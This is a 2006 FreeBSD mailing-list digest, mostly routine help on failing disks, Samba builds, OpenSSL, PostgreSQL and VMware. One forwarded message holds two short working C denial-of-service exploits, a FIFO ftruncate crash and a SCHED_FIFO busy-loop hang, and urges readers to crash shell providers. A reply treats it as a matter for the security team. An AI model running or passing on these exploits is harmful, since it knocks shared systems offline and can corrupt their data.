 c8 00 04 97 b4 e1 ea 00  15:49:52.420  READ DMA
 c8 00 04 a7 b4 e1 ea 00  15:49:52.175  READ DMA
 c8 00 04 a3 b4 e1 ea 00  15:49:51.929  READ DMA

Error 7739 occurred at disk power-on lifetime: 16008 hours (667 days + 
0 hours)
 When the command that caused the error occurred, the device was 
active or idle.


 After command completion occurred, registers were:
 ER ST SC SN CL CH DH
 -- -- -- -- -- -- --
 40 51 04 c7 b6 d5 ea  Error: UNC 4 sectors at LBA = 0x0ad5b6c7 = 
181778119


 Commands leading to the command that caused the error were:
 CR FR SC SN CL CH DH DC   Powered_Up_Time  Command/Feature_Name
 -- -- -- -- -- -- -- --    
 c8 00 04 c7 b6 d5 ea 00  11:35:56.771  READ DMA
 35 00 20 bf e7 39 40 00  11:35:56.765  WRITE DMA EXT
 35 00 20 7f 6b 2e 40 00  11:35:56.749  WRITE DMA EXT
 35 00 20 3f 0d c7 40 00  11:35:56.740  WRITE DMA EXT
 35 00 20 1f 4f c1 40 00  11:35:56.732  WRITE DMA EXT

Error 7738 occurred at disk power-on lifetime: 15989 hours (666 days + 
5 hours)
 When the command that caused the error occurred, the device was 
active or idle.


 After command completion occurred, registers were:
 ER ST SC SN CL CH DH
 -- -- -- -- -- -- --
 40 51 04 c7 b6 d5 ea  Error: UNC 4 sectors at LBA = 0x0ad5b6c7 = 
181778119


 Commands leading to the command that caused the error were:
 CR FR SC SN CL CH DH DC   Powered_Up_Time  Command/Feature_Name
 -- -- -- -- -- -- -- --    
 c8 00 04 c7 b6 d5 ea 00  16:16:27.719  READ DMA
 c8 00 04 9b b4 e1 ea 00  16:16:27.468  READ DMA
 c8 00 04 97 b4 e1 ea 00  16:16:30.682  READ DMA
 c8 00 04 a7 b4 e1 ea 00  16:16:30.440  READ DMA
 c8 00 04 a3 b4 e1 ea 00  16:16:30.174  READ DMA


Looks like you disk is on its way out,  from the look of the above 
errors,  I would try dd'ing the disk onto a new disk the running an fsck 
to make sure everything is ok.  I wouldnt hold out much hope for 
recovering the data on that sector though.


Tom J

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailm

Re: Hard Drive Issues

2006-10-13 Thread Chuck Swiger

On Oct 13, 2006, at 12:03 PM, Richard McIntyre wrote:

I'm having a similar problem,
Oct 13 03:01:31 tco1 kernel: ad2: FAILURE - READ_DMA  
status=51 error=40 LBA=181778119
Oct 13 07:11:15 tco1 kernel: ad2: FAILURE - READ_DMA  
status=51 error=40 LBA=181778119


I'm assuming that particular sector on the drive is dying, I have  
backed everything up on the drive, can anyone give me more  
information, should the drive simply be replaced or is it possible  
that this is simply a TOC error and could be corrected by newfs to  
the drive?


I'm guessing it will need to be replaced, output of smartctl is  
below


You can try doing a "dd if=/dev/ad2 of=/dev/null bs=64k" in order to  
read all of the sectors on the disk and get a better feel for how  
well it is doing.  But it certainly appears that your drive has run  
into enough errors that it no longer has spare sectors available to  
replace the failing sectors-- you should replace it soon.


--
-Chuck

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Changing Hostname = Reboot machine?

2006-10-13 Thread Jonathan Chen
On Fri, Oct 13, 2006 at 04:40:45PM +0800, David Schulz wrote:
> Hi,
> 
> i wasnt asking how to change the hostname, but if there are any  
> things i should be aware of or have to do if changing the hostname.

You don't normally have to reboot. Have a look at /etc/rc.d/hostname.

Cheers.
-- 
Jonathan Chen  |  To do is to be  -- Nietzsche
<[EMAIL PROTECTED]> |  To be is to do  -- Sartre 
   |  Scooby do be do -- Scooby
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: cups and /dev/lpt [SOLVED]

2006-10-13 Thread Per olof Ljungmark

Hi,

I have an issue on a 5.5-STABLE box where lpt0 (parallel:/) refuses to 
show up in cups despite following instructions on setting mode/ownership 
on /devlpt0 with devfs.


Is this device supposed to work on 5.5 with cups? Or are there more 
things to do before it's usable?


crw-rw-rw-   1 root  cups  241,   0 Oct 13 13:34 lpt0


Solved: Rebuild world and kernel from latest 5-STABLE and that fixed it. 
Unfortunately I have no clue if it was the updated sources or just some 
libraries that were borked, but at least it works!

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Hard Drive Issues

2006-10-13 Thread Richard McIntyre

David Kelly wrote:


On Thu, Oct 12, 2006 at 06:54:53PM +0100, Spiros Papadopoulos wrote:
 


Since as you say everything is working, maybe it is a good idea to
take a look and run the fsck command at least it may give you some
more information, which you can post in order to get better answers
   



That too, but first I'd start with sysutils/smartmontools and see what
the drive and its built-in log says.

 






I'm having a similar problem,
Oct 13 03:01:31 tco1 kernel: ad2: FAILURE - READ_DMA 
status=51 error=40 LBA=181778119
Oct 13 07:11:15 tco1 kernel: ad2: FAILURE - READ_DMA 
status=51 error=40 LBA=181778119


I'm assuming that particular sector on the drive is dying, I have backed 
everything up on the drive, can anyone give me more information, should 
the drive simply be replaced or is it possible that this is simply a TOC 
error and could be corrected by newfs to the drive?


I'm guessing it will need to be replaced, output of smartctl is below

Thanks
~Richard

uname -a
>>FreeBSD 5.3-RELEASE FreeBSD 5.3-RELEASE #0: Mon May  2 22:32:50 EDT 
2005
>>[EMAIL PROTECTED]:/usr/src/sys/i386/compile/TCO1.2005.05.02.001  i386



My output of smartmontools is:
smartctl -a -s on /dev/ad2
smartctl version 5.36 [i386-portbld-freebsd5.3] Copyright (C) 2002-6 
Bruce Allen

Home page is http://smartmontools.sourceforge.net/

=== START OF INFORMATION SECTION ===
Model Family: Seagate Barracuda 7200.7 and 7200.7 Plus family
Device Model: ST3200822A
Serial Number:5LJ0LW2T
Firmware Version: 3.01
User Capacity:200,049,647,616 bytes
Device is:In smartctl database [for details use: -P show]
ATA Version is:   6
ATA Standard is:  ATA/ATAPI-6 T13 1410D revision 2
Local Time is:Fri Oct 13 14:56:23 2006 EDT
SMART support is: Available - device has SMART capability.
SMART support is: Disabled

=== START OF ENABLE/DISABLE COMMANDS SECTION ===
SMART Enabled.

=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED

General SMART Values:
Offline data collection status:  (0x82) Offline data collection activity
   was completed without error.
   Auto Offline Data Collection: 
Enabled.
Self-test execution status:  (   0) The previous self-test routine 
completed
   without error or no self-test 
has ever

   been run.
Total time to complete Offline
data collection: ( 430) seconds.
Offline data collection
capabilities:(0x5b) SMART execute Offline immediate.
   Auto Offline data collection 
on/off support.

   Suspend Offline collection upon new
   command.
   Offline surface scan supported.
   Self-test supported.
   No Conveyance Self-test supported.
   Selective Self-test supported.
SMART capabilities:(0x0003) Saves SMART data before entering
   power-saving mode.
   Supports SMART auto save timer.
Error logging capability:(0x01) Error logging supported.
   No General Purpose Logging support.
Short self-test routine
recommended polling time:(   1) minutes.
Extended self-test routine
recommended polling time:( 111) minutes.

SMART Attributes Data Structure revision number: 10
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME  FLAG VALUE WORST THRESH TYPE  
UPDATED  WHEN_FAILED RAW_VALUE
 1 Raw_Read_Error_Rate 0x000f   051   048   006Pre-fail  
Always   -   22488920
 3 Spin_Up_Time0x0003   097   097   000Pre-fail  
Always   -   0
 4 Start_Stop_Count0x0032   100   100   020Old_age   
Always   -   21
 5 Reallocated_Sector_Ct   0x0033   100   100   036Pre-fail  
Always   -   1
 7 Seek_Error_Rate 0x000f   084   060   030Pre-fail  
Always   -   328020832
 9 Power_On_Hours  0x0032   082   082   000Old_age   
Always   -   16043
10 Spin_Retry_Count0x0013   100   100   097Pre-fail  
Always   -   0
12 Power_Cycle_Count   0x0032   100   100   020Old_age   
Always   -   22
194 Temperature_Celsius 0x0022   030   040   000Old_age   
Always   -   30
195 Hardware_ECC_Recovered  0x001a   051   048   000Old_age   
Always   -   22488920
197 Current_Pending_Sector  0x0012   100   100   000Old_age   
Always   -   1
198 Offline_Uncorrectable   0x0010   100   100   000Old_age   
Offline  -   1
199 UDMA_CRC_Error_Count0x003e   200   200   000Old_age   
Always   -   

External touchpad?

2006-10-13 Thread Ian Smith
Hi,

running a Thinkpad T23 on 6.1-RELEASE.  Happy but for the 'stickmouse',
finding it tediously unproductive after using a nice touchpad for years. 

Does anyone know of a usable compact external touchpad?  The Cirque Easy
Cat (http://www.cirque.com/cpages/?page=24) looks about a useful size,
but Google has so far let me down regarding whether this might work with
FreeBSD, PS/2 or USB.  It seems to be a successor to the ALPS Glidepoint
(too chunky, serial only) which has long been listed as supported. 

Or are there any others?  Thanks in advance for any tips,

Cheers, Ian

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Samba install failing

2006-10-13 Thread Jean-Paul Natola
Hi all

I've been trying to install samba for 3 days no success,

Freebsd 5.4 

This is the error I get

===>  Building for samba-3.0.23c_2,1
Using FLAGS =  -O -pipe -D_SAMBA_BUILD_
-I/usr/ports/net/samba3/work/samba-3.0.23c/source/iniparser/src -Iinclude
-I/usr/ports/net/samba3/work/samba-3.0.23c/source/include
-I/usr/ports/net/samba3/work/samba-3.0.23c/source/tdb  -I. -DHAVE_CONFIG_H
-I/usr/local/include -I/usr/ports/net/samba3/work/samba-3.0.23c/source
-D_SAMBA_BUILD_
  LIBS = -lcrypt -liconv
  LDSHFLAGS = -shared  -L/usr/local/lib
  LDFLAGS = -L/usr/local/lib
  PIE_CFLAGS = -fPIE
  PIE_LDFLAGS = -pie
Compiling sam/idmap_ad.c with -fPIC -DPIC
sam/idmap_ad.c: In function `ad_idmap_check_attr_mapping':
sam/idmap_ad.c:62: error: `LDAP_NO_MEMORY' undeclared (first use in this
function)
sam/idmap_ad.c:62: error: (Each undeclared identifier is reported only once
sam/idmap_ad.c:62: error: for each function it appears in.)
*** Error code 1

Stop in /usr/ports/net/samba3/work/samba-3.0.23c/source.
*** Error code 1

And when I try to install it from sysinstall this is the error I get;

│Add of package libiconv-1.9.2_1 aborted, error code 1 -  │
│Please check the debug screen for more info.
│









Jean-Paul Natola
Network Administrator
Information Technology
Family Care International
588 Broadway Suite 503
New York, NY 10012
Phone:212-941-5300 xt 36
Fax:  212-941-5563
Mailto: [EMAIL PROTECTED]

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


"ini_restore" patch for php4.4.4?

2006-10-13 Thread Mark

While I'm upgrading stuff anyway, at cvsweb.cgi, I see not "ini_restore"
patch
in files/ yet for this php4.4.4 exploit. As described in:

http://securityreason.com/achievement_securityalert/42

Or is this done internally yet?

Thanks,

- Mark

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


SOLVED (was: RE: Openssl 0.9.8c woes)

2006-10-13 Thread Mark

> -Original Message-
> From: Mark [mailto:[EMAIL PROTECTED] 
> Sent: vrijdag 13 oktober 2006 16:44
> To: 'FreeBSD-Questions Questions'
> Subject: RE: Openssl 0.9.8c woes
> 
> > You seem to have done something ominous. :-)
> 
> I ran the "make test" today, too. Took a good while to finish,
> but everything passed.

Odd. I just downloaded and installed the 0.9.8d tarball from
cvsweb.cgi; and lo and behold, everything is shiny again. :)

Not sure why; but in cases like this, I'm not even gonna ask. :)

- Mark

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


"The Complete FreeBSD": errata and addenda

2006-10-13 Thread Greg Lehey
The trouble with books is that you can't update them the way you can a web page
or any other online documentation.  The result is that most leading edge
computer books are out of date almost before they are printed.  Unfortunately,
The Complete FreeBSD, published by O'Reilly, is no exception.  Inevitably, a
number of bugs and changes have surfaced.

"The Complete FreeBSD" has been through a total of five editions, including its
predecessor "Installing and Running FreeBSD".  Two of these have been reprinted
with corrections.  I maintain a series of errata pages.  Start at
http://www.lemis.com/errata-4.html to find out how to get the errata
information.

Note also that the book has now been released for free download in PDF
form.  Instead of downloading the changed pages, you may prefer to
download the entire book.  See http://www.lemis.com/grog/Documentation/CFBSD/ 
for more information.

Have you found a problem with the book, or maybe something confusing?
Please let me know: I'm no longer constantly updating it, but I may be
able to help

Greg
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


How to get best results from FreeBSD-questions

2006-10-13 Thread Greg Lehey

How to get the best results from FreeBSD questions.
===

Last update $Date: 2005/08/10 02:21:44 $

This is a regular posting to the FreeBSD questions mailing list.  If
you got it in answer to a message you sent, it means that the sender
thinks that at least one of the following things was wrong with your
message:

- You left out a subject line, or the subject line was not appropriate.
- You formatted it in such a way that it was difficult to read.
- You asked more than one unrelated question in one message.
- You sent out a message with an incorrect date, time or time zone.
- You sent out the same message more than once.
- You sent an 'unsubscribe' message to FreeBSD-questions.

If you have done any of these things, there is a good chance that you
will get more than one copy of this message from different people.
Read on, and your next message will be more successful.

This document is also available on the web at
http://www.lemis.com/questions.html.

=

Contents:

I:Introduction
II:   How to unsubscribe from FreeBSD-questions
III:  Should I ask -questions or -hackers?
IV:   How to submit a question to FreeBSD-questions
V:How to answer a question to FreeBSD-questions

I: Introduction
===

This is a regular posting aimed to help both those seeking advice from
FreeBSD-questions (the "newcomers"), and also those who answer the
questions (the "hackers").

   Note that the term "hacker" has nothing to do with breaking
   into other people's computers.  The correct term for the latter
   activity is "cracker", but the popular press hasn't found out
   yet.  The FreeBSD hackers disapprove strongly of cracking
   security, and have nothing to do with it.

In the past, there has been some friction which stems from the
different viewpoints of the two groups.  The newcomers accused the
hackers of being arrogant, stuck-up, and unhelpful, while the hackers
accused the newcomers of being stupid, unable to read plain English,
and expecting everything to be handed to them on a silver platter.  Of
course, there's an element of truth in both these claims, but for the
most part these viewpoints come from a sense of frustration.

In this document, I'd like to do something to relieve this frustration
and help everybody get better results from FreeBSD-questions.  In the
following section, I recommend how to submit a question; after that,
we'll look at how to answer one.

II:  How to unsubscribe from FreeBSD-questions
==

When you subscribed to FreeBSD-questions, you got a welcome message
from [EMAIL PROTECTED]  In this message, amongst
other things, it told you how to unsubscribe.  Here's a typical
message:

  Welcome to the freebsd-questions@freebsd.org mailing list!

If you ever want to unsubscribe or change your options (eg, switch to
or from digest mode, change your password, etc.), visit your
subscription page at:

  http://lists.freebsd.org/mailman/options/freebsd-questions/[EMAIL PROTECTED]
  
(obviously, substitute your mail address for "[EMAIL PROTECTED]").  You can
also make such adjustments via email by sending a message to:

  [EMAIL PROTECTED]
  
with the word 'help' in the subject or body (don't include the
quotes), and you will get back a message with instructions.

You must know your password to change your options (including
changing the password, itself) or to unsubscribe.
  
Normally, Mailman will remind you of your freebsd.org mailing list
passwords once every month, although you can disable this if you
prefer.  This reminder will also include instructions on how to
unsubscribe or change your account options.  There is also a button on
your options page that will email your current password to you.

  Here's the general information for the list you've
  subscribed to, in case you don't already have it:

  FREEBSD-QUESTIONS   User questions
  This is the mailing list for questions about FreeBSD.  You should not
  send "how to" questions to the technical lists unless you consider the
  question to be pretty technical.

Normally, unsubscribing is even simpler than the message suggests: you
don't need to specify your mail ID unless it is different from the one
which you specified when you subscribed.

If Majordomo replies and tells you (incorrectly) that you're not on
the list, this may mean one of two things:

  1.  You have changed your mail ID since you subscribed.  That's where
  keeping the original message from majordomo comes in handy.  For
  example, the sample message above shows my mail ID as
  [EMAIL PROTECTED]  Since then, I have changed it to
  [EMAIL PROTECTED]  If I were to try to remove [EMAIL PROTECTED] from
  the list, it would fail: I would have to specify the name with
  which I joined.

  2.  You're subscribed to a mailing list which is subscribed to
  Fr

Re: Download what?

2006-10-13 Thread Michael S
You don't even need the installation CDs. For VMware
you can download one of these pre-made images for
VMPlayer:
http://www.vmware.com/vmtn/appliances/directory/

You will find FreeBSD 6.0 and 6.1, minimal install
with no desktop and PCBSD which is a FreeBSD with a
nice KDE desktop and some extra utilities.

HTH.
Michael
--- Rick Stout <[EMAIL PROTECTED]> wrote:

> I am new to FreeBSD and wish to install a version
> (6.1) within VMWare to learn the system. I have
> installed and used Ubuntu Linux using the Gnome
> desktop and have extensive experience with all of
> the Windows OS's. The problem I am having is trying
> to determine without too much trial and error which
> ISO(s) to download. I have downloaded both ISO disks
> (1 & 2) for an i386 platform. Are both disks
> necessary for installation (the 505mb and 574mb) ?
> Or are each disk the same version using a different
> desktop? Basically, what ISO(s) do I need to burn to
> disk for the initial installation?
> 
> Rick Stout
> [EMAIL PROTECTED]
> ___
> freebsd-questions@freebsd.org mailing list
>
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> To unsubscribe, send any mail to
> "[EMAIL PROTECTED]"
> 

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Download what?

2006-10-13 Thread [EMAIL PROTECTED]

Rick Stout wrote:

I am new to FreeBSD and wish to install a version (6.1) within VMWare to learn the 
system. I have installed and used Ubuntu Linux using the Gnome desktop and have 
extensive experience with all of the Windows OS's. The problem I am having is 
trying to determine without too much trial and error which ISO(s) to download. I 
have downloaded both ISO disks (1 & 2) for an i386 platform. Are both disks 
necessary for installation (the 505mb and 574mb) ? Or are each disk the same 
version using a different desktop? Basically, what ISO(s) do I need to burn to disk 
for the initial installation?


If you have a good internet connection, you can use the boot only ISO 
and then do FTP install.


Iv
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


PostgreSQL Shared Memory and Semaphors

2006-10-13 Thread [EMAIL PROTECTED]

Hello,

I want to increase the max_connections of PostgreSQL from around 40 to 
around 100. For this I need to change the Shared Memory and Semaphores 
settings.


I followed this link -

http://www.postgresql.org/docs/8.1/interactive/kernel-resources.html#SYSVIPC

and used the proposed values in a test installation FreeBSD 5.5, 
PostgreSQL 8.x, with 96 MB RAM (a VMware guest) -


I added -

kern.ipc.shmall=32768
kern.ipc.shmmax=134217728
kern.ipc.semmap=256
to /etc/sysctl.conf

kern.ipc.semmni=256
kern.ipc.semmns=512
kern.ipc.semmnu=256
to /boot/loader.conf

And I changed max_connections = 40 to 100 in postgresql.conf.

Rebooted and all works OK.

Now I want to do the same on a production machine FreeBSD 5.4, 
PostgreSQL 8.x, with 2 GB RAM.


Are there any dangers I should have in mind?

Thank you,
Iv

PS I know that the values can be compiled into the kernel, but I am not 
that good yet.

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Download what?

2006-10-13 Thread albi
On Fri, 13 Oct 2006 10:12:13 -0500
"Rick Stout" <[EMAIL PROTECTED]> wrote:

> I am new to FreeBSD and wish to install a version (6.1) within VMWare
> to learn the system. I have installed and used Ubuntu Linux using the
> Gnome desktop and have extensive experience with all of the Windows
> OS's. The problem I am having is trying to determine without too much
> trial and error which ISO(s) to download. I have downloaded both ISO
> disks (1 & 2) for an i386 platform. Are both disks necessary for
> installation (the 505mb and 574mb) ? Or are each disk the same
> version using a different desktop? Basically, what ISO(s) do I need
> to burn to disk for the initial installation?

you only need disc 1 for install, and in vmware you don't have to burn
iso-images, you can choose to use the iso as a "virtual cdrom" (at
least, in the "free of charge" vmware server you can)

-- 
grtjs,
albi
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Download what?

2006-10-13 Thread Rick Stout
I am new to FreeBSD and wish to install a version (6.1) within VMWare to learn 
the system. I have installed and used Ubuntu Linux using the Gnome desktop and 
have extensive experience with all of the Windows OS's. The problem I am having 
is trying to determine without too much trial and error which ISO(s) to 
download. I have downloaded both ISO disks (1 & 2) for an i386 platform. Are 
both disks necessary for installation (the 505mb and 574mb) ? Or are each disk 
the same version using a different desktop? Basically, what ISO(s) do I need to 
burn to disk for the initial installation?

Rick Stout
[EMAIL PROTECTED]
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Not sure about...

2006-10-13 Thread Bill Moran
In response to "aegis" <[EMAIL PROTECTED]>:

> I'm not sure if this is the address I shuold be contacting, although
> I feel this is severely important...

Where did this come from?  Is this a recent CVS checkout?  From which
server?  May want to followup on [EMAIL PROTECTED]

> 
>   1.. /* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 
> 13:15:29 UTC
>   2..Log: According to POSIX, the result of ftruncate(2) is unspecified
>   3..for file types other than VREG, VDIR and shared memory objects.
>   4..We already handle VREG, VLNK and VDIR cases.  Silently ignore
>   5..truncate requests for all the rest. PR kern/98064
>   6.. 
>   7..lol lol, thatz true. [EMAIL PROTECTED] lolling it out in '06 
> !"#%&%(20061013)(="#"!
>   8..tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the 
> time of writing)
>   9..- it just makes the system reboot, and with a bit of luck fucks up 
> the filesystem.
>   10..wow, that sort of makes this 0day local freebsd denial of service 
> for non-CURRENT or whatever.
>   11..usage: ./run me and wait a moment.. woo, it's friday the 13th, go 
> crash some shell providers.
>   12..
>   13.. */
>   14.. 
>   15.. #include 
>   16.. #include 
>   17.. #include 
>   18.. #include 
>   19.. 
>   20.. int main(){
>   21.. mkfifo("lol",0x1b6);
>   22.. int fd = open("lol",O_RDWR); 
>   23.. ftruncate(fd,12345);
>   24.. close(fd);
>   25.. } 
> 
>   1.. /* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 
> 00:40:38 UTC
>   b.. 
>   3..Log: Don't allow non-root user to set a scheduler policy, otherwise 
> this could be a local DOS.
>   4..lol lol, thatz true. [EMAIL PROTECTED] lolling it out in '06 
> !"#%&%(20061013)(="#"! 
>   5..tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 
> 6.1-RELEASE-p10 (latest at the time of writing)
>   6..wow, that sort of makes this 0day local freebsd denial of service 
> for non-CURRENT or whatever.
>   7..usage: ./run me and wait a moment.. woo, it's friday the 13th, go 
> crash some shell providers.
>   8.. */
>   9.. #include 
>   10.. int main(){
>   11.. struct sched_param lol; 
>   12.. lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
>   13.. sched_setscheduler(0,SCHED_FIFO,&lol);
>   14.. for(;;){}
>   15.. } 
> 
> ___
> freebsd-questions@freebsd.org mailing list
> http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> To unsubscribe, send any mail to "[EMAIL PROTECTED]"


-- 
Bill Moran
Collaborative Fusion Inc.


IMPORTANT: This message contains confidential information and is
intended only for the individual named. If the reader of this
message is not an intended recipient (or the individual
responsible for the delivery of this message to an intended
recipient), please be advised that any re-use, dissemination,
distribution or copying of this message is prohibited. Please
notify the sender immediately by e-mail if you have received
this e-mail by mistake and delete this e-mail from your system.
E-mail transmission cannot be guaranteed to be secure or
error-free as information could be intercepted, corrupted, lost,
destroyed, arrive late or incomplete, or contain viruses. The
sender therefore does not accept liability for any errors or
omissions in the contents of this message, which arise as a
result of e-mail transmission.

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Not sure about...

2006-10-13 Thread aegis
I'm not sure if this is the address I shuold be contacting, although I feel 
this is severely important...

  1.. /* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 
13:15:29 UTC
  2..Log: According to POSIX, the result of ftruncate(2) is unspecified
  3..for file types other than VREG, VDIR and shared memory objects.
  4..We already handle VREG, VLNK and VDIR cases.  Silently ignore
  5..truncate requests for all the rest. PR kern/98064
  6.. 
  7..lol lol, thatz true. [EMAIL PROTECTED] lolling it out in '06 
!"#%&%(20061013)(="#"!
  8..tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time 
of writing)
  9..- it just makes the system reboot, and with a bit of luck fucks up the 
filesystem.
  10..wow, that sort of makes this 0day local freebsd denial of service for 
non-CURRENT or whatever.
  11..usage: ./run me and wait a moment.. woo, it's friday the 13th, go 
crash some shell providers.
  12..
  13.. */
  14.. 
  15.. #include 
  16.. #include 
  17.. #include 
  18.. #include 
  19.. 
  20.. int main(){
  21.. mkfifo("lol",0x1b6);
  22.. int fd = open("lol",O_RDWR); 
  23.. ftruncate(fd,12345);
  24.. close(fd);
  25.. } 

  1.. /* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 
00:40:38 UTC
  b.. 
  3..Log: Don't allow non-root user to set a scheduler policy, otherwise 
this could be a local DOS.
  4..lol lol, thatz true. [EMAIL PROTECTED] lolling it out in '06 
!"#%&%(20061013)(="#"! 
  5..tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 
6.1-RELEASE-p10 (latest at the time of writing)
  6..wow, that sort of makes this 0day local freebsd denial of service for 
non-CURRENT or whatever.
  7..usage: ./run me and wait a moment.. woo, it's friday the 13th, go 
crash some shell providers.
  8.. */
  9.. #include 
  10.. int main(){
  11.. struct sched_param lol; 
  12.. lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
  13.. sched_setscheduler(0,SCHED_FIFO,&lol);
  14.. for(;;){}
  15.. } 

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


RE: Openssl 0.9.8c woes

2006-10-13 Thread Mark

> -Original Message-
> From: Girish Venkatachalam [mailto:[EMAIL PROTECTED] 
> Sent: vrijdag 13 oktober 2006 14:45
> To: Mark
> Cc: 'FreeBSD-Questions Questions'
> Subject: Re: Openssl 0.9.8c woes
> 
> 
> > Apache (1.3.37), php4.4.4 and all related stuff recompiled
> > against the new openssl (confirmed with ldd). And all seem to need:
> >
> > /usr/local/lib/libssl.so.4
> > /usr/local/lib/libcrypto.so.4
> >
> > Which are there:
> >
> > -r--r--r-- 1 root wheel 263434 Oct 12 08:14
> > /usr/local/lib/libssl.so.4
> > -r--r--r-- 1 root wheel 1337303 Oct 12 08:14
> > /usr/local/lib/libcrypto.so.4
> >
> > Is there something in the openssl upgrade process I'm
> > missing? Ought to be a real straghtforward process.
> > Things have a way of not being, though. :)
> >
> > Thanks,
> >
> > - Mark
>
> You seem to have done something ominous. :-)

I ran the "make test" today, too. Took a good while to finish, but
everything passed.

I keep using my old certs, btw (the ones I paid good money for). Geez, I
really hope I don't need to upgrade those. Still, that's no reason for
Apache to core dump, right?

Anyway, I appreciate your input.

- Mark

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Changing Hostname = Reboot machine?

2006-10-13 Thread Svein Halvor Halvorsen

David Schulz wrote:
i wasnt asking how to change the hostname, but if there are any things i 
should be aware of or have to do if changing the hostname.


You can just change it, and it will take effect immedeately.
However, there may be some server software you have running that needs 
to be restarted. But there is now reason to reboot you system (there 
seldom is on freebsd).


Also (even though I see you're not asking how to change the hostname) 
remember to put your changes in /etc/rc.conf lest you want to have your 
changes discarded when rebooting.



Svein Halvor
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: VMWare

2006-10-13 Thread Bill Moran
In response to "Davison, Robert" <[EMAIL PROTECTED]>:

> I'm looking to run VMware on my FreeBSD box and note that version 3 is in the 
> ports.
> 
> I've not tried running Linux software ontop of FreeBSD, but how easy is it to 
> download the free VMware Server software off their site and install so I get 
> the most recent version, and more importantly a free one.
> 
> Is it just a case of downloading and installing the binary through the usual 
> route or is it a bit more complex ?

What's wrong with your email?  I got a bunch of HTML at the end?

Anyway, VMWare is a special case.  It's got hooks deep into the Linux
network drivers that (as far as I know) are a showstopper that prevents
VMWare from running under the Linuxulator.

If you learn differently, I'd love to hear it, but it's not possible
as far as I know.

-- 
Bill Moran
Collaborative Fusion Inc.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


cups and /dev/lpt

2006-10-13 Thread Per olof Ljungmark

Hi,

I have an issue on a 5.5-STABLE box where lpt0 (parallel:/) refuses to 
show up in cups despite following instructions on setting mode/ownership 
on /devlpt0 with devfs.


Is this device supposed to work on 5.5 with cups? Or are there more 
things to do before it's usable?


crw-rw-rw-   1 root  cups  241,   0 Oct 13 13:34 lpt0

Thanks,
Per
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


VMWare

2006-10-13 Thread Davison, Robert
I'm looking to run VMware on my FreeBSD box and note that version 3 is in the 
ports.

I've not tried running Linux software ontop of FreeBSD, but how easy is it to 
download the free VMware Server software off their site and install so I get 
the most recent version, and more importantly a free one.

Is it just a case of downloading and installing the binary through the usual 
route or is it a bit more complex ?

Robert Davison
Senior Project Manager

DAVIS LANGDON LLP
Everest House
Rockingham Drive
Linford Wood
Milton Keynes
MK14 6LY

Main Tel: +44 (0) 1908 304 700
Direct Tel: +44 (0) 1908 304 721
